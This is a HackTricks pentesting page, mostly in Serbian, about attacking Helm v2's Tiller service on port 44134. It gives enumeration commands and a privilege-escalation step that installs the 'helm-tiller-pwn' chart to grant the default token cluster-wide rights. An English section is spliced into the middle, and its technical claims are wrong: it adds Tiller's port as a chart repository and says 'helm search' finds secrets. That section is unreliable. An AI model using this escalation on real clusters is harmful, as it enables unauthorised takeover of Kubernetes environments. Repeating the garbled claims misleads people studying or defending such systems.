hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

122 lines
7.4 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
# Osnovne informacije
2021-12-29 12:26:06 +00:00
2024-02-10 13:11:20 +00:00
Helm je **upravljač paketima** za Kubernetes. Omogućava pakovanje YAML fajlova i distribuciju istih u javnim i privatnim repozitorijumima. Ovi paketi se nazivaju **Helm Charts**. **Tiller** je **servis** koji se **podrazumevano pokreće** na portu 44134 i pruža uslugu.
2021-12-29 12:26:06 +00:00
2024-02-10 13:11:20 +00:00
**Podrazumevani port:** 44134
2021-12-29 12:26:06 +00:00
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
2024-02-10 13:11:20 +00:00
# Enumeracija
2021-12-29 12:26:06 +00:00
2024-02-10 13:11:20 +00:00
Ako možete **izlistati podove i/ili servise** različitih imenskih prostora, izlistajte ih i potražite one koji imaju **"tiller" u svom imenu**:
2021-12-29 12:26:06 +00:00
```bash
2022-01-14 10:22:14 +00:00
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
2021-12-29 12:26:06 +00:00
```
2024-02-10 13:11:20 +00:00
## Pentesting Tiller (Helm)
### Introduction
Tiller is the server-side component of Helm, a package manager for Kubernetes. It manages the deployment of charts, which are packages of pre-configured Kubernetes resources. Pentesting Tiller involves identifying security vulnerabilities and misconfigurations that could be exploited by an attacker.
### Enumeration
To begin the pentesting process, you need to enumerate the Tiller service. This can be done using tools like `nmap` or `masscan` to scan for open ports. The default port for Tiller is `44134`.
```bash
nmap -p 44134 <target_ip>
```
### Exploitation
Once you have identified an open Tiller port, you can attempt to exploit it. One common vulnerability is the lack of authentication, which allows anyone to connect to the Tiller server without credentials. This can be exploited using the `helm` command-line tool.
```bash
helm init --client-only
helm repo add stable http://<target_ip>:44134
helm search
```
### Post-Exploitation
After successfully exploiting Tiller, you can perform various post-exploitation activities. For example, you can search for sensitive information, such as Kubernetes secrets, by using the `helm search` command. Additionally, you can deploy malicious charts to gain persistence or execute arbitrary code on the Kubernetes cluster.
2021-12-29 12:26:06 +00:00
2024-02-10 13:11:20 +00:00
### Mitigation
2021-12-29 12:26:06 +00:00
2024-02-10 13:11:20 +00:00
To mitigate the risks associated with Tiller, it is recommended to follow these best practices:
1. Enable authentication for Tiller by configuring it with a secure authentication mechanism, such as TLS certificates or RBAC.
2. Restrict network access to the Tiller service by using firewalls or network policies.
3. Regularly update Helm and Tiller to ensure you have the latest security patches.
4. Use RBAC to limit the permissions of Tiller, ensuring it only has the necessary privileges to perform its functions.
5. Monitor Tiller logs for any suspicious activity or unauthorized access attempts.
By following these mitigation techniques, you can enhance the security of your Tiller installation and protect your Kubernetes cluster from potential attacks.
2021-12-29 12:26:06 +00:00
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
2024-02-10 13:11:20 +00:00
Takođe možete pokušati da pronađete ovu uslugu proverom porta 44134:
2021-12-29 12:26:06 +00:00
```bash
sudo nmap -sS -p 44134 <IP>
```
2024-02-10 13:11:20 +00:00
Jednom kada ste otkrili to, možete komunicirati s njim preuzimanjem klijentske aplikacije helm. Možete koristiti alate poput `homebrew`, ili pogledati [**zvaničnu stranicu izdanja**](https://github.com/helm/helm/releases)**.** Za više detalja ili druge opcije, pogledajte [vodič za instalaciju](https://v2.helm.sh/docs/using\_helm/#installing-helm).
2021-12-29 12:26:06 +00:00
2024-02-10 13:11:20 +00:00
Zatim, možete **izlistati uslugu**:
2021-12-29 12:26:06 +00:00
```
helm --host tiller-deploy.kube-system:44134 version
```
2024-02-10 13:11:20 +00:00
## Eskalacija privilegija
2021-12-29 12:26:06 +00:00
2024-02-10 13:11:20 +00:00
Podrazumevano je da je **Helm2** instaliran u **kube-system** namespace-u sa **visokim privilegijama**, pa ako pronađete uslugu i imate pristup njoj, to vam može omogućiti **eskalciju privilegija**.
2021-12-29 12:26:06 +00:00
2024-02-10 13:11:20 +00:00
Sve što trebate da uradite je da instalirate paket poput ovog: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) koji će omogućiti **podrazumevani pristup tokena usluge svemu u celokupnom klasteru.**
2021-12-29 12:26:06 +00:00
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
2024-02-10 13:11:20 +00:00
U [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) imate **objašnjenje napada**, ali u osnovi, ako pročitate datoteke [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) i [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) unutar _helm-tiller-pwn/pwnchart/templates/_ možete videti kako se **sve privilegije dodeljuju podrazumevanom token-u**.
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>